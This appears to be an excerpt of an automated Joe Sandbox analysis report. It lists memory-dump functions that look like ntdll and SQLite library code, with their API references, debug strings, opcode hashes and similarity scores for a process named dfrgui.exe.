::%hs%u.%u.%u.%u, xrefs: 00F0E967
::ffff:0:%u.%u.%u.%u, xrefs: 00F0E9B0
:%u.%u.%u.%u, xrefs: 00F0E9F4

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: f8a8a9664c130871815dc89b1d0eb2179d2a4f6a2d03f7ef690bf1506c5c8819
Instruction ID: 5257bb4a74be1d3f5e5e143d9c919257080b0f2be7ecffcd74067e051cffd85a
Opcode Fuzzy Hash: f8a8a9664c130871815dc89b1d0eb2179d2a4f6a2d03f7ef690bf1506c5c8819
Instruction Fuzzy Hash: 38614A71D00699A6CB34DF5AC8808BEBBF5EF94304754D46EF4E667681D334AA80DB60

Uniqueness

Uniqueness Score: -1.00%

Function 00F43B8E Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 187COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00F43C2C
___swprintf_l.LIBCMT ref: 00F43C68
___swprintf_l.LIBCMT ref: 00F43D09
___swprintf_l.LIBCMT ref: 00F43D31
___swprintf_l.LIBCMT ref: 00F43D56
___swprintf_l.LIBCMT ref: 00F43D8D

Strings

:%u.%u.%u.%u, xrefs: 00F43D84
::ffff:0:%u.%u.%u.%u, xrefs: 00F43C5F
ffff:, xrefs: 00F43C06, 00F43C22
::%hs%u.%u.%u.%u, xrefs: 00F43C23

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: ef46748050fcea6689edca659736cf28a6cbe160a4d4631c4515e0740c70a3f5
Instruction ID: cd9d516afd200e8b786493ccfa62d76aebb69a1e6f817ebe9a03e7f597d48917
Opcode Fuzzy Hash: ef46748050fcea6689edca659736cf28a6cbe160a4d4631c4515e0740c70a3f5
Instruction Fuzzy Hash: 7F61A172D00649ABCB20DF99C88157EBFF5EF58320B14C529FDA9AB141E234EB41EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00ED7EFD Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 127COMMON

Download Yara Rule

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00EF3F12

Strings

CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00EF3F75
CLIENT(ntdll): Processing section info %ws..., xrefs: 00EFE345
'u, xrefs: 00ED7F1E
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00EF3EC4
ExecuteOptions, xrefs: 00EF3F04
Execute=1, xrefs: 00EF3F5E
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00EF3F4A
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 00EFE2FB

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions$'u
API String ID: 3901378454-3930412660
Opcode ID: ae0a11daac389066c2566f232a50581a1dda850eabcb6033831a8943b50d08b2
Instruction ID: 31468f1b314d79c3c3a32e5c5b5ce5587dfbb9c66c5944c6e85742e5a8cf5709
Opcode Fuzzy Hash: ae0a11daac389066c2566f232a50581a1dda850eabcb6033831a8943b50d08b2
Instruction Fuzzy Hash: 9D41A872B4031C7ADB209BA4DC86FEA73FDEB19704F0014A9F645F6191F670AB458B61

Uniqueness

Uniqueness Score: -1.00%

Function 00EE0B15 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00EE0BF6
__fassign.LIBCMT ref: 00EE0CA2

Strings

., xrefs: 00EE0A0C
:, xrefs: 00EE0AC7
:, xrefs: 00EE0BA9

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 9f3356cc6e85de82ec3fc5e1e269d1d797bf493ab2ae70f869780e6e718c0473
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: 98A1AB71D0028EDBCB24CF66D8447BEB7B4BB44718F34A56AD806B7282D7B09AC1DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00EE0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F02206

Strings

RTL: Re-Waiting, xrefs: 00F0223A, 00F02328
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00F0220E
RTL: Resource at %p, xrefs: 00F0221D, 00F0230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00F022FC

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: 2957d4f1533035db51937e3d06689259387864bb5fdbbbb7ec8e3ac76e05664d
Instruction ID: 4ca26b24f8b45ec854192380b25b031061603da192b4b5d5f52242a22c0df703
Opcode Fuzzy Hash: 2957d4f1533035db51937e3d06689259387864bb5fdbbbb7ec8e3ac76e05664d
Instruction Fuzzy Hash: BE516D71B002056FEB55CA18DC85FA633AA9FC4720F215219FD04EF2C6EA71EC4197A0

Uniqueness

Uniqueness Score: -1.00%

Function 00EE14C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00F0EA22

Part of subcall function 00EE13CB: ___swprintf_l.LIBCMT ref: 00EE146B
Part of subcall function 00EE13CB: ___swprintf_l.LIBCMT ref: 00EE1490

___swprintf_l.LIBCMT ref: 00EE156D

Strings

%%%u, xrefs: 00EE1564
]:%u, xrefs: 00F0EA47

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: fe61437ce050a3dad68002b331e6b4f1204b6e1618a87d95609e3ffa8b6c662b
Instruction ID: 1954a2ff367b9d5cc3ba4f5be3b8945691111acbf9d3b7ebbbed93c35ab789df
Opcode Fuzzy Hash: fe61437ce050a3dad68002b331e6b4f1204b6e1618a87d95609e3ffa8b6c662b
Instruction Fuzzy Hash: 4D21E372A0021D9BCB20DE59CC01AEA73BCFB54310F445496FC46F7241EB70AA988BE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F43DA7 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00F43DF3
___swprintf_l.LIBCMT ref: 00F43E1D
___swprintf_l.LIBCMT ref: 00F43E46

Strings

]:%u, xrefs: 00F43E3D
%%%u, xrefs: 00F43E14

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: 643658278ea4e25b7880e90a13907ea9f6025179e8c063cc783bc2d2603c24ee
Instruction ID: 13ad1e4fc671b529df2a296f9cbed5c86018408d173d96dbe273bce9c60e7295
Opcode Fuzzy Hash: 643658278ea4e25b7880e90a13907ea9f6025179e8c063cc783bc2d2603c24ee
Instruction Fuzzy Hash: 2321F572E0162AABCB10AE68CC419EF7BACEF18764F040525FC04A7241E774AF48D7E1

Uniqueness

Uniqueness Score: -1.00%

Function 00EC53A5 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 185COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00F022F4

Strings

RTL: Re-Waiting, xrefs: 00F02328
RTL: Resource at %p, xrefs: 00F0230B
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00F022FC

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-871070163
Opcode ID: df79cce983ce2d75db2b0f3df31ada859928ab9e0de1c30283ff7dca02db32e9
Instruction ID: 3924624a0c7b8daa9aab64648dc294dfe97f14f7a16436273285d3eaf8b68f71
Opcode Fuzzy Hash: df79cce983ce2d75db2b0f3df31ada859928ab9e0de1c30283ff7dca02db32e9
Instruction Fuzzy Hash: D2514B727007456BEF119B78CC85FA673D8AF94360F105229FD04EB2C6EB61EC4297A0

Uniqueness

Uniqueness Score: -1.00%

Function 00ECEC56 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 00F024FA
RTL: Enter Critical Section Timeout (%I64u secs) %d, xrefs: 00F0248D
RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu, xrefs: 00F024BD

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID:
String ID: RTL: Enter Critical Section Timeout (%I64u secs) %d$RTL: Pid.Tid %x.%x, owner tid %x Critical Section %p - ContentionCount == %lu$RTL: Re-Waiting
API String ID: 0-3177188983
Opcode ID: 2f096d8131b04a2d0ea40750d3c37728c68b4cf721e4e7efa24122a5c8bb1e2d
Instruction ID: 50598d51bb14f9a16af7382fa2bc8238214d5bd012b77f44e76673f7cee395c3
Opcode Fuzzy Hash: 2f096d8131b04a2d0ea40750d3c37728c68b4cf721e4e7efa24122a5c8bb1e2d
Instruction Fuzzy Hash: 6C41F370A00204ABCB60DB68CD89FAA77E9AF84320F209609F515EB2C2D735ED41A771

Uniqueness

Uniqueness Score: -1.00%

Function 00EDFCC9 Relevance: 6.3, APIs: 4, Instructions: 257COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00EDFD94

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: __fassign
String ID:
API String ID: 3965848254-0
Opcode ID: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction ID: f0daf8a5adbfca2eb21ddf70d7c06355643de99056b1df51519584f1c95993d1
Opcode Fuzzy Hash: cf2859dc65627fbf80b6c0eada531fd5cb93d2a8787631212c3d4041a421bf55
Instruction Fuzzy Hash: FF919F31D0024AEBDF24DF58C8457EEB7B5EF55318F24947BD802B62A2E7305A42EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F55CFA Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 237COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00F55DE8

Strings

$, xrefs: 00F55D36
0, xrefs: 00F55DBF

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: __aulldvrm
String ID: $$0
API String ID: 1302938615-389342756
Opcode ID: 7a766501e705e82950514fab4fa473020608baf63e430a4bd578bc89df809847
Instruction ID: 33a009e3e1c745f2787fac2674d4e34a1d69df51bde5f1a09af90fadf32113d2
Opcode Fuzzy Hash: 7a766501e705e82950514fab4fa473020608baf63e430a4bd578bc89df809847
Instruction Fuzzy Hash: 3391D531D08B8ADFDF24CF99C4653EDBBB0AF01B22F14455ADEA1A7291C3744A49EB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F1E759 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 00F1E7B2

Strings

], xrefs: 00F1E75B
Set 0x%X protection for %p section for %d bytes, old protection 0x%X, xrefs: 00F1E893

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: _wcstoul
String ID: Set 0x%X protection for %p section for %d bytes, old protection 0x%X$]
API String ID: 1097018459-2671679092
Opcode ID: af0728b4bcad36766d6cc3fb32c9557d091754e9759d3477101ce9383d23addb
Instruction ID: cda36d297fa7f927ec1afafe2f9aaaaf9806b156acadc8b412359c36bd259903
Opcode Fuzzy Hash: af0728b4bcad36766d6cc3fb32c9557d091754e9759d3477101ce9383d23addb
Instruction Fuzzy Hash: 0A418072D00249AADF119FE4C885BEEB7F9AF09320F14846AF911A7181E774DAC4E760

Uniqueness

Uniqueness Score: -1.00%

Function 00EDC558 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 00EDC5C4

Strings

1, xrefs: 00EDC56F
{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}, xrefs: 00EDC5BB

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: ___swprintf_l
String ID: 1${%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}
API String ID: 48624451-1603231898
Opcode ID: 9b31a080ecbab45973959af9b9c3bcc7c6c69c9e0091f53cd358d4f3af5736a1
Instruction ID: 1ca09e5faf87b90333ac96e812ef904af05b7408fdc594a189665b2c81b92449
Opcode Fuzzy Hash: 9b31a080ecbab45973959af9b9c3bcc7c6c69c9e0091f53cd358d4f3af5736a1
Instruction Fuzzy Hash: 430165560085B065D32147A74811872FBF99FCEA15728C48EF6D849296E17BD542E770

Uniqueness

Uniqueness Score: -1.00%

Function 00F1E8DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

_wcstoul.LIBCMT ref: 00F1E901

Part of subcall function 00F55AA6: __cftof.LIBCMT ref: 00F55AB6

Strings

], xrefs: 00F1E8E3
CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X, xrefs: 00F1E91B

Memory Dump Source

Source File: 00000006.00000002.415689767.0000000000E90000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.415689767.0000000000E80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F70000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F80000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F84000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F87000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.415689767.0000000000FF0000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_op55336.jbxd

Similarity

API ID: __cftof_wcstoul
String ID: CLIENT(ntdll): Tyring to fix protection for %ws section in %wZ module to 0x%X$]
API String ID: 1831096779-2103298067
Opcode ID: f6427961911500027d9936099a07af868612d0607be5df9ad5f86dc0d0ca67e9
Instruction ID: 5635bb24951274f295da3d916724f167d5b14ff73c36035396771ed5e0595378
Opcode Fuzzy Hash: f6427961911500027d9936099a07af868612d0607be5df9ad5f86dc0d0ca67e9
Instruction Fuzzy Hash: 30F0F6375402047AEB102A65DC03EDB77EDDF95B20F044119FE14AA191F9B5EA40D760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: dfrgui.exePID: 3372, Parent PID: 2584COMMON

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.4%
Total number of Nodes:	463
Total number of Limit Nodes:	65

Executed Functions

Function 61E92617 Relevance: 93.5, APIs: 39, Strings: 14, Instructions: 767
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sqlite3_initialize.SQLITE3 ref: 61E92640

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_free.SQLITE3 ref: 61E926C5
sqlite3_mutex_enter.SQLITE3 ref: 61E926DA

Part of subcall function 61E3AAE5: memcmp.MSVCRT ref: 61E3AB33
Part of subcall function 61E3AAE5: sqlite3_malloc64.SQLITE3 ref: 61E3AB67

sqlite3_create_function.SQLITE3 ref: 61E93061
sqlite3_create_function.SQLITE3 ref: 61E930AB
sqlite3_create_function.SQLITE3 ref: 61E930F5
sqlite3_create_function.SQLITE3 ref: 61E931A5
sqlite3_mutex_leave.SQLITE3 ref: 61E932E9
sqlite3_free.SQLITE3 ref: 61E9290B

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_errcode.SQLITE3 ref: 61E932F1
sqlite3_close.SQLITE3 ref: 61E93302
sqlite3_free.SQLITE3 ref: 61E9331F

Strings

fts5, xrefs: 61E92A3A, 61E92CC0
h,a, xrefs: 61E932AD
simple, xrefs: 61E92E51
rtree, xrefs: 61E93100
BINARY, xrefs: 61E92763, 61E927CF, 61E927F7, 61E92880
fts3, xrefs: 61E92FEE
`1a, xrefs: 61E932A5
fts5vocab, xrefs: 61E92C6B
fts4, xrefs: 61E9327B
porter, xrefs: 61E92E84
RTRIM, xrefs: 61E9285E
unicode61, xrefs: 61E92EA4
NOCASE, xrefs: 61E9281F
rtree_i32, xrefs: 61E93126

Memory Dump Source

